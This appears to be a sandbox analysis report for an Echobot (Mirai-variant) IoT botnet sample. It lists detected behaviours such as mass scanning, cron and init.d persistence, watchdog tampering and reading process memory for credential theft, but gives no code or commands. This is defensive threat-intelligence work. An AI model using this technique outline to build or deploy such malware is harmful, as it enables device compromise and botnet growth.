Malware Config

Signatures

  • Family: Echobot

    An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.

  • Detected Echobot 1 IoCs
  • Contacts a large (96611) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates active TCP sockets 1 TTPs 10 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Write file to user bin folder 3 IoCs
  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 30 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.
